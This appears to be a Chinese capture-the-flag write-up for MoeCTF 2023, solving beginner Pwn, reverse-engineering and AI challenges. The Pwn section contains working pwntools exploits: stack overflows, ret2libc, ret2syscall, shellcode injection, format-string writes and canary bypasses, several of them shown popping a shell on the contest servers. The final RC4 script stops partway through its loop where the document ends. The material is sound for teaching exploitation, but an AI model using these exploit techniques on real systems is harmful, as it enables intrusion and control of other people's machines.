enc1=[158, 156, 150, 144, 135, 149, 136, 163, 138, 135, 155, 195, 157, 172, 194, 137, 172, 195, 134, 129, 172, 148, 195, 195, 151, 172, 149, 129, 154, 150, 157, 151, 137, 142]
x=lambda x:x^0xff
enc2=[]
for i in enc1:
  enc2.append(x(i))
key="moectf2023"
flag=""
for i in range(len(enc2)):
    flag+=chr(((0xf3)&(enc2[i])|((enc2[i])^0xff)&0xc))
print(flag)

三、runme

1、附件信息:

CHALLENGE: runme
DESCRIPTION: 下载文件,双击运行得flag~
但是我的程序好像会闪退欸,能不能想个办法保留一下它的输出?比如用CMD来运行它试试?
如果你不知道什么是CMD,可以尝试使用搜索引擎来学习,加油吧(> <)

2、解题方法:

题目说了会闪退,所以不要直接点击打开,我们打开“运行”对话框,在输入框中输入命令“CMD”并按“确定”按钮即可进入MSDOS界面。将exe文件拖入,回车即可,不会再出现一闪而过的问题!

moectf{0h_y0u_can_use_cmd!!!}

四、runme2

1、题目信息:

CHALLENGE: runme2
DESCRIPTION: 下载文件,运行得flag~
诶诶出了点小问题,好像不能运行?!因为这个程序是Linux操作系统下的可执行文件,不再是Windows了。
请尝试配置一个Linux环境(虚拟机或者WSL)来运行它。

2、解题方法:

说的很明显,虚拟机运行:./runme2

moectf{Run_me_in_linux!} 

🔗Pwn

一、Pwn 入门指北

进QQ群找群文件PWN入门指北.PDF,直接看文章末尾,有flag。

二、test_nc

1、题目信息:

CHALLENGE: test_nc
DESCRIPTION: 你知道nc是什么吗

2、解题方法:

考察nc指令

连接靶机进入题目:先ls查看根目录,一开始不知道的话可以ls结合cat指令去试,看看哪里有flag,试的过程就不说了,咱们直接上结果了。

gift里面提示信息:知不知道隐藏文件?熟悉Linux的同学应该都知道ls -al这个指令吧,那就直接用就行。

三、baby_calculator

1、题目信息:

CHALLENGE: baby_calculator
DESCRIPTION: 这里有一台计算器,luo希望你可以帮他检查一下OvO
但是手动检查看上去会很困难,希望“pwntools”会帮到你

2、解题方法:

连接靶机

题目提示是计算器,给出了两个数相加,让你判断给出的结果对不对,对的话输入“黑鸟”,不对的话输入Wings。。。一共需要完成100次

懒得算,直接脚本:

from pwn import *  
  
p = remote('IP', 端口号)  
  
for i in range(100): 
    p.recvuntil("first:")  
    first = int(p.recvline()[:-1])  
    p.recvuntil("second:")  
    second = int(p.recvline()[:-1])  
    p.recvuntil("=")  
    jisuan = int(p.recvline()[:-1])  
  
    jiafa = first + second  
  
    print(first, second, jisuan, jiafa)  
    if jiafa == jisuan:  
        p.sendline("BlackBird")  
    else:  
        p.sendline("WingS")  
  
p.interactive()

得到flag:

moectf{H4ve_y0u_rea11y_useD_Pwnt00ls??????}

四、fd

1、题目信息:

CHALLENGE: fd
DESCRIPTION: 你知道什么是fd(file descriptor)吗

2、解题方法:

题目提示是fd。可以先了解一下pwn里面的fd。百度了解即可。

进入题目看一下

我们可以计算一下new_fd是多少。

print((4 * 3) | 0x29A)    #结果670

为什么用3呢?因为在 POSIX 语义中,0,1,2 这三个 fd 值已经被赋予特殊含义,分别是标准输入( STDIN_FILENO ),标准输出( STDOUT_FILENO ),标准错误( STDERR_FILENO )。

得到flag

moectf{7o4vZZycchYzKqsNw1vZSG5kc_KxH_Jj}

五、int_overflow

1、题目信息:

CHALLENGE: int_overflow
DESCRIPTION: 你知道整形溢出吗

2、解题方法:

整数溢出题目

分析函数 void __cdecl vuln()

当我们输入-114514时,会进入backdoor方法。

进入该方法就会打印出flag。我们连接靶机输入试试。

看来不行。。。我们进入函数void __cdecl get_input(int *n)看一下

strchr函数查找给定字符的第一个匹配处45是负号。因此我们输入负号就会变成0。所以还是需要溢出。利用了ida的h功能。(即按h键会进行16进制和10进制转换)

再按一次h

发现变成一个整数了?再输入进去看看

Welcome to Moectf2023.
Do you know int overflow?
Can you make n == -114514 but no '-' when you input n.
Please input n:
4294852782
Oh, you know it.
This is flag:
moectf{mFmW__v1rBwuo5YmWNhng4k16uWQKfV0}

OK成功了。

六、ret2text_32

1、题目信息:

CHALLENGE: ret2text_32
DESCRIPTION: 一道最基础的32位栈溢出题OvO

2、解题方法:

32位栈溢出,查看题目

nbytes可以无限输入。因此在read这里就肯定会存在栈溢出。

很明显的后门函数

我们可以得到的只有system,因此我们就需要找找/bin/sh了(shift+f12)

双击查看地址

ok。溢出有了。system有了。/bin/sh有了。

现在构造payload即可,exp如下:

from pwn import *

p = remote('IP', 端口号)
# p = process('./text32')

p.sendline("300")
payload = b"a" * (0x58 + 4) + p32(0x8049070) + p32(0) + p32(0x804C02C)
# gdb.attach(p)
p.sendline(payload)

p.interactive()

运行后执行ls得到flag

What's your age?
Now..try to overflow!
$ ls
bin
flag
lib
lib32
lib64
libexec
libx32
pwn
$ cat flag
moectf{F8p2FQFs6NrAVbymAtG3aMeoTRuJJRuf}

七、ret2text_64

1、题目信息:

CHALLENGE: ret2text_64
DESCRIPTION: 64位和32位到底有什么不同呢?

2、解题方法:

查看题目:

跟上个很相似,直接找system和bin/sh

exp:

from pwn import *

p = remote('IP', 端口号)
# p = process('./text64')
pop_rdi = 0x00000000004011be
p.sendlineafter("age?", "300")
payload = b"a" * (0x50 + 8) + p64(pop_rdi) + p64(0x404050) + p64(0x4012B7)
# gdb.attach(p)
p.sendline(payload)

p.interactive()

运行后执行ls得到flag

Now..try to overflow!
$ ls
bin
flag
lib
lib32
lib64
libexec
libx32
pwn
$ cat flag
moectf{jbmklC47DOjAkNbVjUqAoWE4sHNceFWF}

八、shellcode_level0

1、题目信息:

CHALLENGE: shellcode_level0
DESCRIPTION: 什么是shellcode?pwntools的shellcraft工具怎么使用?怎么脚本一把梭?

2、解题方法:

提示pwntools的shellcraft。一把梭。

查看题目发现不能反汇编。那就看汇编语言分析吧。。。

第一个,调用了gets函数?

第二个,调用rdx。如果rdx是一段可执行的代码的话,也就是说我们就可以执行代码了哈哈

从call rdx往上看,看看rdx我们是否可以控制(题目说shellcode,那么肯定可控),地址rbp+var_78的值会放到rdx。rax的值会再次放到地址rbp+var_78。rbp+var_70的值会放到rax。。。也就是说最终rdx的值等于rbp+var_70.

那么rbp+var_70的值怎么来的呢?再往上看看。也就是gets这里输入的。也就是我们随便输入的。。

相当于我们输入内容,然后它回去调用。所以就可以直接写入shellcode。pwntools一把梭。

exp:

from pwn import *

context.arch = "amd64"
#注意这个amd64是不能少的,因为程序是64位,pwntools默认是32位的。。如果是32位可丢掉。必须丢掉
p = remote('IP', 端口号)
# p = process('./shellcode_level0')

payload = asm(shellcraft.sh())
# gdb.attach(p)
p.sendline(payload)

p.interactive()
[*] Switching to interactive mode
$ ls
bin
flag
lib
lib32
lib64
libexec
libx32
pwn
$ cat flag
moectf{trBurF7QZ4MiLiRi7hCEDzd6KFgVOr_d}

九、shellcode_level1

1、题目信息:

CHALLENGE: shellcode_level1
DESCRIPTION: mmap和mprotect函数是干嘛用的?我的shellcode怎么没有执行权限?

2、解题方法:

分析题目:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char *v3; // rax
  __int64 v4; // rbx
  __int64 v5; // rbx
  __int64 v6; // rbx
  __int64 v7; // rbx
  __int64 v8; // rbx
  __int64 v9; // rbx
  _QWORD *v10; // rax
  __int64 v11; // rbx
  __int64 v12; // rbx
  __int64 v13; // rbx
  __int64 v14; // rbx
  __int64 v15; // rbx
  __int64 v16; // rbx
  _QWORD *v17; // rax
  __int64 v18; // rbx
  __int64 v19; // rbx
  __int64 v20; // rbx
  __int64 v21; // rbx
  __int64 v22; // rbx
  __int64 v23; // rbx
  int choise; // [rsp+Ch] [rbp-114h] BYREF
  void (*p)(...); // [rsp+10h] [rbp-110h]
  char *paper3; // [rsp+18h] [rbp-108h]
  void *paper4; // [rsp+20h] [rbp-100h]
  void *paper5; // [rsp+28h] [rbp-F8h]
  char shellcode[100]; // [rsp+30h] [rbp-F0h] BYREF
  char paper2[100]; // [rsp+A0h] [rbp-80h] BYREF
  unsigned __int64 v32; // [rsp+108h] [rbp-18h]

  v32 = __readfsqword(0x28u);
  memset(shellcode, 0, sizeof(shellcode));
  memset(paper2, 0, sizeof(paper2));
  paper3 = (char *)malloc(0x64uLL);
  paper4 = mmap(0LL, 0x64uLL, 3, 34, -1, 0LL);
  paper5 = mmap(0LL, 0x64uLL, 7, 34, -1, 0LL);
  choise = 0;
  puts("Which paper will you choose?");
  __isoc99_scanf("%d", &choise);
  puts("what do you want to write?");
  __isoc99_scanf("%s", shellcode);
  switch ( choise )
  {
    case 1:
      *(_QWORD *)paper1 = *(_QWORD *)shellcode;
      *(_QWORD *)&paper1[8] = *(_QWORD *)&shellcode[8];
      *(_QWORD *)&paper1[16] = *(_QWORD *)&shellcode[16];
      *(_QWORD *)&paper1[24] = *(_QWORD *)&shellcode[24];
      *(_QWORD *)&paper1[32] = *(_QWORD *)&shellcode[32];
      *(_QWORD *)&paper1[40] = *(_QWORD *)&shellcode[40];
      *(_QWORD *)&paper1[48] = *(_QWORD *)&shellcode[48];
      *(_QWORD *)&paper1[56] = *(_QWORD *)&shellcode[56];
      *(_QWORD *)&paper1[64] = *(_QWORD *)&shellcode[64];
      *(_QWORD *)&paper1[72] = *(_QWORD *)&shellcode[72];
      *(_QWORD *)&paper1[80] = *(_QWORD *)&shellcode[80];
      *(_QWORD *)&paper1[88] = *(_QWORD *)&shellcode[88];
      *(_DWORD *)&paper1[96] = *(_DWORD *)&shellcode[96];
      p = (void (*)(...))paper1;
      break;
    case 2:
      *(_QWORD *)paper2 = *(_QWORD *)shellcode;
      *(_QWORD *)&paper2[8] = *(_QWORD *)&shellcode[8];
      *(_QWORD *)&paper2[16] = *(_QWORD *)&shellcode[16];
      *(_QWORD *)&paper2[24] = *(_QWORD *)&shellcode[24];
      *(_QWORD *)&paper2[32] = *(_QWORD *)&shellcode[32];
      *(_QWORD *)&paper2[40] = *(_QWORD *)&shellcode[40];
      *(_QWORD *)&paper2[48] = *(_QWORD *)&shellcode[48];
      *(_QWORD *)&paper2[56] = *(_QWORD *)&shellcode[56];
      *(_QWORD *)&paper2[64] = *(_QWORD *)&shellcode[64];
      *(_QWORD *)&paper2[72] = *(_QWORD *)&shellcode[72];
      *(_QWORD *)&paper2[80] = *(_QWORD *)&shellcode[80];
      *(_QWORD *)&paper2[88] = *(_QWORD *)&shellcode[88];
      *(_DWORD *)&paper2[96] = *(_DWORD *)&shellcode[96];
      p = (void (*)(...))paper2;
      break;
    case 3:
      v3 = paper3;
      v4 = *(_QWORD *)&shellcode[8];
      *(_QWORD *)paper3 = *(_QWORD *)shellcode;
      *((_QWORD *)v3 + 1) = v4;
      v5 = *(_QWORD *)&shellcode[24];
      *((_QWORD *)v3 + 2) = *(_QWORD *)&shellcode[16];
      *((_QWORD *)v3 + 3) = v5;
      v6 = *(_QWORD *)&shellcode[40];
      *((_QWORD *)v3 + 4) = *(_QWORD *)&shellcode[32];
      *((_QWORD *)v3 + 5) = v6;
      v7 = *(_QWORD *)&shellcode[56];
      *((_QWORD *)v3 + 6) = *(_QWORD *)&shellcode[48];
      *((_QWORD *)v3 + 7) = v7;
      v8 = *(_QWORD *)&shellcode[72];
      *((_QWORD *)v3 + 8) = *(_QWORD *)&shellcode[64];
      *((_QWORD *)v3 + 9) = v8;
      v9 = *(_QWORD *)&shellcode[88];
      *((_QWORD *)v3 + 10) = *(_QWORD *)&shellcode[80];
      *((_QWORD *)v3 + 11) = v9;
      *((_DWORD *)v3 + 24) = *(_DWORD *)&shellcode[96];
      p = (void (*)(...))paper3;
      break;
    case 4:
      v10 = paper4;
      v11 = *(_QWORD *)&shellcode[8];
      *(_QWORD *)paper4 = *(_QWORD *)shellcode;
      v10[1] = v11;
      v12 = *(_QWORD *)&shellcode[24];
      v10[2] = *(_QWORD *)&shellcode[16];
      v10[3] = v12;
      v13 = *(_QWORD *)&shellcode[40];
      v10[4] = *(_QWORD *)&shellcode[32];
      v10[5] = v13;
      v14 = *(_QWORD *)&shellcode[56];
      v10[6] = *(_QWORD *)&shellcode[48];
      v10[7] = v14;
      v15 = *(_QWORD *)&shellcode[72];
      v10[8] = *(_QWORD *)&shellcode[64];
      v10[9] = v15;
      v16 = *(_QWORD *)&shellcode[88];
      v10[10] = *(_QWORD *)&shellcode[80];
      v10[11] = v16;
      *((_DWORD *)v10 + 24) = *(_DWORD *)&shellcode[96];
      p = (void (*)(...))paper4;
      mprotect(paper4, 0x1000uLL, 7);
      break;
    case 5:
      v17 = paper5;
      v18 = *(_QWORD *)&shellcode[8];
      *(_QWORD *)paper5 = *(_QWORD *)shellcode;
      v17[1] = v18;
      v19 = *(_QWORD *)&shellcode[24];
      v17[2] = *(_QWORD *)&shellcode[16];
      v17[3] = v19;
      v20 = *(_QWORD *)&shellcode[40];
      v17[4] = *(_QWORD *)&shellcode[32];
      v17[5] = v20;
      v21 = *(_QWORD *)&shellcode[56];
      v17[6] = *(_QWORD *)&shellcode[48];
      v17[7] = v21;
      v22 = *(_QWORD *)&shellcode[72];
      v17[8] = *(_QWORD *)&shellcode[64];
      v17[9] = v22;
      v23 = *(_QWORD *)&shellcode[88];
      v17[10] = *(_QWORD *)&shellcode[80];
      v17[11] = v23;
      *((_DWORD *)v17 + 24) = *(_DWORD *)&shellcode[96];
      p = (void (*)(...))paper5;
      mprotect(paper5, 0x1000uLL, 0);
      break;
  }
  p();
  return 0;
}

exp:

from pwn import *

context.arch = "amd64"
p = remote('IP', 端口号)
#p = process('./shellcode_level1')
# gdb.attach(p)
p.sendline("4") #这里的4是试出来的,可以从1,2,3,4...一个一个试
payload = asm(shellcraft.sh())

p.sendline(payload)

p.interactive()
Which paper will you choose?
what do you want to write?
$ ls
bin
flag
lib
lib32
lib64
libexec
libx32
pwn
$ cat flag
moectf{qDxYrprNQrK5IsTzZTguZ_xiPAUwPXdd}

十、uninitialized_key

1、题目信息:

CHALLENGE: uninitialized_key
DESCRIPTION: 你知道什么是栈吗?栈是如何存数据的捏

2、解题方法:

查看题目:

在game内,存在一个溢出。我们通过gdb可以发现。在game处输入的东西(age),在get_key这里(key)是同一个。当我们输入key的时候,就会覆盖age的值。

所以我们在game里输入114514,get_key这里就不输入,它就会引用age。

exp如下:

from pwn import *

# context.log_level = "debug"
context.arch = "amd64"
p = remote('IP', 端口号)
#p = process('./uninitialized_key')

p.sendline("114514")
# gdb.attach(p)
p.sendline("\x00")#或者就直接留空。p.sendline("")

p.interactive()

然后执行ls即可跟上面题目操作一样。

十一、format_level0

1、题目信息:

CHALLENGE: format_level0
DESCRIPTION: flag就在栈中,你该如何获取呢。这个printf函数怎么有点奇怪

2、解题方法:

查看题目:

首先会把flag放到栈里面。然后存在格式化字符漏洞。

所以只需要利用格式化字符串的任意地址读即可。exp如下:

from pwn import *

flag = ""
for i in range(7,17):
    p = remote('IP', 端口号)
    # p = process('./format_level0')

    # gdb.attach(p)
    p.sendline(f"%{i}$p")
    p.recvuntil("0x")

    byte_str = binascii.unhexlify(p.recvline()[:-1])
    str_result = byte_str.decode("utf-8")
    flag+=str_result[::-1]

    p.close()

print(flag)

十二、PIE_enabled

1、题目信息:

CHALLENGE: PIE_enabled
DESCRIPTION: 这个题目名字好像有点眼熟,好像见过,但是是什么意思呢o。O?

2、解题方法:

地址随机化,查看题目:

首先会泄露一个地址,vuln的地址。。然后存在一个栈溢出

system

binsh

这里会发现,我们的地址变得比较陌生了,之前得都是40x(64位)开头或者80x(32位)开头的。这就是pie。我们这里得到的只有偏移地址。系统会生成基址。。。

那么流程就是,先根据他泄露的vlun的地址,减去ida得到的vlun的偏移地址,就能够得到生成的基址。

拿到基址后在加上system和binsh的偏移就能得到真实的system和binsh的地址。

exp:

from pwn import *

context.arch = "amd64"
p = remote('IP', 端口号)
# p = process('./pie')

p.recvuntil("0x")
leak = int(p.recvline()[:-1], 16)
base_add = leak - 0x1245
system_add = base_add + 0x10A0
bash = base_add + 0x4010
pop_rdi = base_add + 0x0000000000001323
ret = base_add + 0x128D
success(hex(base_add))

# gdb.attach(p)
paylaod = b'a' * 0x58 + p64(pop_rdi) + p64(bash) + p64(ret) + p64(system_add)
p.sendline(paylaod)

p.interactive()

十三、ret2libc

1、题目信息:

CHALLENGE: ret2libc
DESCRIPTION: 如果找不到想要的东西,就去问问神奇的libc吧 ~

2、解题方法:

无system无bin/sh类型

利用延迟绑定机制,泄露一个地址。然后使用libc的对应偏移计算得到libc的基质。然后就能得到system和binsh的地址。

exp:

记得附件和代码放到同一位置,这里都可以放到kali桌面。

from pwn import *

context.arch = "amd64"
p = remote('IP', 端口号)
# p = process('./ret2libc')
elf = ELF("./ret2libc")
#libc = ELF("./libc6_2.35-0ubuntu3_amd64.so")

pop_rdi = 0x000000000040117e
main = 0x4011E8

p1 = b"a" * (0x50 + 0x8)
p1 += p64(pop_rdi) + p64(elf.got['puts'])
p1 += p64(elf.plt['puts'])
p1 += p64(main)
p.sendline(p1)

leak = u64(p.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
libc_base = leak - elf.libc.sym['puts']
success(hex(libc_base))

p2 = b"a" * (0x50 + 0x8)
one = [0x50a37, 0xebcf1, 0xebcf5, 0xebcf8]
# p2 += p64(libc_base + one[3])
p2 += p64(pop_rdi) + p64(libc_base + next(libc.search(b"/bin/sh"))) + p64(0x40122A)
p2 += p64(libc_base + elf.libc.sym['system'])
p.sendline(p2)
p.interactive()

十四、ret2syscall

1、题目信息:

CHALLENGE: ret2syscall

DESCRIPTION: 什么是系统调用?如何使用系统调用打开shell?

2、解题方法:

exp:

from pwn import *

context.arch = "amd64"
p = remote('IP', 端口号)
# p = process('./ret2syscall')
elf = ELF("./ret2syscall")
#libc = ELF("./libc6_2.35-0ubuntu3_amd64.so")

pop_rax = 0x000000000040117e
pop_rdi = 0x0000000000401180
pop_rsi_rdx = 0x0000000000401182
bss = 0x0000000000404060
ret = 0x00000000004011C1
syscall_addr = 0x401185
binsh_addr = 0x0000000000404040

payload = b"a" * 0x48
payload += p64(pop_rdi) + p64(binsh_addr)  # stackoverflow & rdi=binsh_addr
payload += p64(pop_rsi_rdx) + p64(0) + p64(0)  # rsi=0 rdx=0
payload += p64(pop_rax) + p64(59)  # rax=59 
payload += p64(syscall_addr)  # execve("/bin/sh",0,0)
p.sendline(payload)
p.interactive()

十五、shellcode_level2

1、题目信息:

CHALLENGE: shellcode_level2

DESCRIPTION: 简单的对shellcode的处理

2、解题方法:

将第一个字节改为0即可。

exp:

from pwn import *

context.arch = "amd64"
p = remote('IP', 端口号)
# p = process('./shellcode_level2')
elf = ELF("./shellcode_level2")
#libc = ELF("./libc6_2.35-0ubuntu3_amd64.so")

payload = b'\x00'+asm(shellcraft.sh()) 
# gdb.attach(p)
p.sendline(payload)
p.interactive()

十六、uninitialized_key_plus

1、题目信息:

CHALLENGE: uninitialized_key_plus

DESCRIPTION: 栈是如何存数据的捏,要做这道题你或许需要借助pwntools

2、解题方法:

exp:

from pwn import *

# context.log_level = "debug"
context.arch = "amd64"
p = remote('IP', 端口号)
# p = process('./uninitialized_key_plus')

payload = b"a"*20 + p32(0x1BF52)
p.sendline(payload)
p.sendline(b"\x00")

p.interactive()

十七、format_level1

1、题目信息:

CHALLENGE: format_level1

DESCRIPTION: 打败FLAG龙就可以得到flag哟

2、解题方法:

exp:

from pwn import *
from LibcSearcher import *  
from ctypes import *

# context.log_level = "debug"
# context.arch = "amd64"
p = remote('IP',端口号)
# p = process('./format_level1')

p.sendline("3")
payload = b"%8$n" + p64(0x804c00c)
p.sendline(payload)
# gdb.attach(p)
p.sendline(b"1")

p.interactive()

十八、little_canary

1、题目信息:

CHALLENGE: little_canary

DESCRIPTION: "我是一只可爱的金丝雀“

2、解题方法:

exp:

#!/usr/bin/env python
# coding=utf-8
from pwn import *
from LibcSearcher import *  
from ctypes import *

# context.log_level = "debug"
# context.arch = "amd64"
p = remote('IP', 端口号)
# p = process('./little_canary')
elf = ELF("./little_canary")
# libc = ELF("./libc-2.32-1.fc33.x86_64.so")

main = 0x4012BA
pop_rdi = 0x0000000000401343

p.sendlineafter(b"name?\n",b"a"*72)
p.recvuntil(b"\n")
canary = u64(b"\x00"+p.recv(7))
# gdb.attach(p)
success(hex(canary))
print(hex(elf.got['puts']))
payload = b'a'*72+p64(canary)+p64(0)
payload += p64(pop_rdi) + p64(elf.got['puts'])
payload += p64(elf.plt['puts'])
payload += p64(main)
p.sendline(payload)

leak = u64(p.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
leak = u64(p.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
libc = LibcSearcher('puts',leak)  
libc_base = leak - libc.dump('puts')
success(hex(libc_base))

p.sendline(b"payload")

payload = b'a'*72+p64(canary)+p64(0)
payload += p64(pop_rdi) + p64(libc_base + libc.dump("str_bin_sh"))+p64(0x4012DC)
payload += p64(libc_base + libc.dump('system'))
p.sendline(payload)

p.interactive()

十九、rePWNse

1、题目信息:

CHALLENGE: rePWNse

DESCRIPTION: pwner也是要锻炼逆向能力的。

2、解题方法:

这个题就是计算出来的,根据那几个if可以得到几个公式,有几个值是定的,然后推算其他值。

exp:

from pwn import *
from LibcSearcher import *  
from ctypes import *

# context.log_level = "debug"
context.arch = "amd64"
p = remote('IP', 端口号)
# p = process('./rePWNse')


pop_rdi = 0x000000000040168e

p.sendline("1")            #7
p.sendline("9")        #8
p.sendline("1")            #9
p.sendline("9")        #10
p.sendline("8")            #11
p.sendline("1")            #12
p.sendline("0")            #13

p.recvuntil("address is:")
leak = int(p.recvline()[2:-1],16)
# gdb.attach(p)
payload = b'a'*0x48+p64(pop_rdi)+p64(leak)+p64(0x401296)
p.sendline(payload)

p.interactive()

二十、shellcode_level3

1、题目信息:

CHALLENGE: shellcode_level3
DESCRIPTION: 5个字节你能秒杀我?

2、解题方法:

只让注入5个字节,但程序有getshell的程序,所以直接用jmp跳转就行

exp:

#!/usr/bin/env python
# coding=utf-8
from pwn import *
from LibcSearcher import *  
from ctypes import *

# context.log_level = "debug"
context.arch = "amd64"
p = remote('IP', 端口号)
# p = process('./shellcode_level2')
elf = ELF("./shellcode_level3")
#libc = ELF("./libc6_2.35-0ubuntu3_amd64.so")


p.sendline(b"\xE9\x48\xD1\xFF\xFF")
p.interactive()

二十一、changeable_shellcode

1、题目信息:

CHALLENGE: changeable_shellcode

DESCRIPTION: 假如我不允许你直接输入syscall的机器码,那么你该怎么办呢

2、解题方法:

在filter过滤了'\x0f\x05'(即syscall),那么就在shellcode里动态的生成最后的syscall就行。后面的一堆代码都是复制shellcode到mmap内存中去执行

exp:

from pwn import *
from LibcSearcher import *  
from ctypes import *

# context.log_level = "debug"
context.arch = "amd64"
p = remote('IP',端口号)
# p = process('./shellcode')

# 第一条语句是为了在\x0f后面添加\x05形成syscall
shellcode = '''
mov byte ptr[rax+33], 5
push 0
mov rax, 0x68732f2f6e69622f
push rax
push rsp
pop rdi
xor rsi, rsi
xor rdx, rdx
mov rax, 59
'''
p.sendline(asm(shellcode)+b'\x0f')

p.interactive()

二十二、format_level2

1、题目信息:

CHALLENGE: format_level2

DESCRIPTION: 这次FLAG龙不会再掉落flag了,需要你自己继续探索哟

2、解题方法:

通过格式化字符串来修改函数返回地址为success函数来获取shell

exp:

from pwn import *
from LibcSearcher import *  
from ctypes import *

# context.log_level = "debug"
# context.arch = "amd64"
p = remote('IP',端口号)
# p = process('./format_level2')

p.sendlineafter(":",b"3")
p.sendlineafter(":",b"%p")

p.recvuntil("0x")
stack = int(p.recvline()[:-1], 16)
func_ret = stack + 64
p.sendline(b"3")
payload = b"%23p%10$hhn".ljust(12, b'a') + p32(func_ret)
p.send(payload)
p.sendlineafter(":",b"3")
payload = b"%147p%10$hhn".ljust(12, b'a') + p32(func_ret+1)
p.sendlineafter(":",payload)
p.sendlineafter(":",b"4")

p.interactive()

二十三、feedback

1、题目信息:

CHALLENGE: feedback

DESCRIPTION: 快来反馈一下你的比赛情况吧

2、解题方法:

exp:

#!/usr/bin/env python
# coding=utf-8
from pwn import *
from LibcSearcher import *  
from ctypes import *

# context.log_level = "debug"
context.arch = "amd64"
p = remote('IP', 端口号)
# p = process('./feedback')

p.sendlineafter("Which list do you want to write?",b"-8")
payload = p64(0xFBAD1800) + p64(0)*3 + b'\x00'
p.sendlineafter(".\n",payload)

p.recvuntil(b'\x00'*8)
libc_base = u64(p.recv(8)) - 0x1ec980
success(hex(libc_base))
flag = libc_base + 0x1f1700

p.sendlineafter("?",b"-11")
p.sendlineafter(".",b'\x68')
p.sendlineafter("?",b"-11")
p.sendlineafter(".",p64(flag))

p.interactive()

二十四、format_level3

1、题目信息:

CHALLENGE: format_level3

DESCRIPTION: 这道题相比上一道只改动了一点点哦

2、解题方法:

#!/usr/bin/env python
# coding=utf-8
from pwn import *
from LibcSearcher import *  
from ctypes import *

# context.log_level = "debug"
# context.arch = "amd64"
p = remote('IP',端口号)
# p = process('./format_level3')

p.sendlineafter(":",b"3")
p.sendlineafter(":",b"%6$p")
p.recvuntil("0x")
stack = int(p.recvline()[:-1], 16)
func_ret = stack + 4

p.sendlineafter(":",b"3")
payload = "%{}p%6$hhn".format(func_ret & 0xff)
p.sendlineafter(":",payload.encode())
p.sendlineafter(":",b"3")
payload = "%{}p%14$hn".format(0x9317)
p.sendlineafter(":",payload.encode())
p.sendlineafter(":",b"4")
p.interactive()

🔍AI

AI入门指北

1、题目描述:

CHALLENGE: AI入门指北
DESCRIPTION: 機器學習の煉金術士dayo

2、解题方法:

直接看文档末尾。有提示

直接百度搜索指令即可,这里也给大家附带一个链接直接用。

https://blog.csdn.net/m0_56729179/article/details/124724146

pip3 install torch torchvision torchaudio

后面四个单词即是flag。。。

🧷Re

一、Reverse入门指北

1、附件信息:

 2、题目提示:

CHALLENGE: Reverse入门指北
DESCRIPTION: 入门指北,运行附带程序获得flag

此题提示缺少dll文件请使用以下版本或安装VCRUNTIME
https://wwi.lanzoup.com/iBhKO15fuxkf

3、解题方法:

不用运行exe,直接记事本打开找flag

二、base_64

1、题目描述:

CHALLENGE: base_64
DESCRIPTION: base64是一种编码方式,不过这个好像有点奇怪?
hint:pyc文件的反编译可以试试pycdc,或者找找在线的反编译工具

2、解题方法:

对附件pyc文件反编译,在线工具即可,得到:

#!/usr/bin/env python
# visit https://tool.lu/pyc/ for more information
# Version: Python 3.7

import base64
from string import *
str1 = 'yD9oB3Inv3YAB19YynIuJnUaAGB0um0='
string1 = 'ZYXWVUTSRQPONMLKJIHGFEDCBAzyxwvutsrqponmlkjihgfedcba0123456789+/'
string2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
flag = input('welcome to moectf\ninput your flag and I wiil check it:')
enc_flag = base64.b64encode(flag.encode()).decode()
enc_flag = enc_flag.translate(str.maketrans(string2, string1))
if enc_flag == str1:
    print('good job!!!!')
else:
    print('something wrong???')
    exit(0)
enc_flag = base64.b64encode(flag.encode()).decode()

这行代码涉及了对字符串的编码和解码过程,主要使用了 Python 的 base64 模块。逐步分析这行代码:

    flag 是一个字符串,可能在之前的代码中已经定义了它。这个字符串将会被编码成 base64 格式。

    flag.encode() 将字符串 flag 编码为字节序列,以便进行 base64 编码。这是因为 base64 编码操作需要操作字节而不是字符。

    base64.b64encode(flag.encode()) 调用了 base64 模块中的 b64encode() 函数,它接受一个字节序列作为输入,并返回其 base64 编码的结果,也是一个字节序列。

    .decode() 方法被用于将 base64 编码的字节序列解码为字符串。所以,整个表达式 base64.b64encode(flag.encode()).decode() 将 flag 字符串编码为 base64,然后又将编码结果解码为字符串。

综上可知,这行代码的目的是将原始的字符串 flag 编码成 base64 格式,并将编码后的结果以字符串的形式存储在 enc_flag 中。这样做通常用于在数据传输或存储时对敏感信息进行编码,以保护数据的隐私和完整性。

因此编写逆向脚本:

import base64
enc_flag = 'yD9oB3Inv3YAB19YynIuJnUaAGB0um0='
string1 = 'ZYXWVUTSRQPONMLKJIHGFEDCBAzyxwvutsrqponmlkjihgfedcba0123456789+/'
string2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
dec_flag = enc_flag.translate(str.maketrans(string1, string2))
decoded_bytes = base64.b64decode(dec_flag)
decoded_text = decoded_bytes.decode('utf-8')#若没加'utf-8'会报错

print(decoded_text)#moectf{pYc_And_Base64~}

三、RRRRRc4

1、题目描述:

CHALLENGE: RRRRRc4
DESCRIPTION: 一天dr3找到浮小云,说要给他看个好东西,说着就用神秘的Rc4把浮小云珍贵的flag给弄得一团糟。现在,唯有你能拯救浮小云的flag,将混乱变为秩序!

2、解题方法:

IDA打开查找关键代码。

可以看到只有while循环的最后一步涉及到flag的变换,直接逆即可
exp:

byte_6000 = [0x1B, 0x9B, 0xFB, 0x19, 0x06, 0x6A, 0xB5, 0x3B, 0x7C, 0xBA, 0x03, 0xF3, 0x91, 0xB8, 0xB6, 0x3D, 0x8A, 0xC1, 0x48, 0x2E, 0x50, 0x11, 0xE7, 0xC7, 0x4F, 0xB1, 0x27, 0xCF, 0xF3, 0xAE, 0x03, 0x09, 0xB2, 0x08, 0xFB, 0xDC, 0x22, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
a5 = "moectf2023"
a6 = 10
a1 = []
a2 = []
for i in range(256):
    a1.append(i)
    a2.append(ord(a5[i%a6]))
v10 = 0
v14 = 0
for j in range(256):
    v10 = (a2[j]+a1[j]+v10)%256
    v12 = a1[v10]
    a1[v10] = a1[j]
    a1[j] = v12
v9 = 0
v11 = 0
a4 = 38
flag = ""
while(a4>0):
    v9 = (v9+1)%256
    v11 = (a1[v9]+v11)%256
    v13 = a1[v11]
    a1[v11] = a1[v9]
    a1[v9] = v13
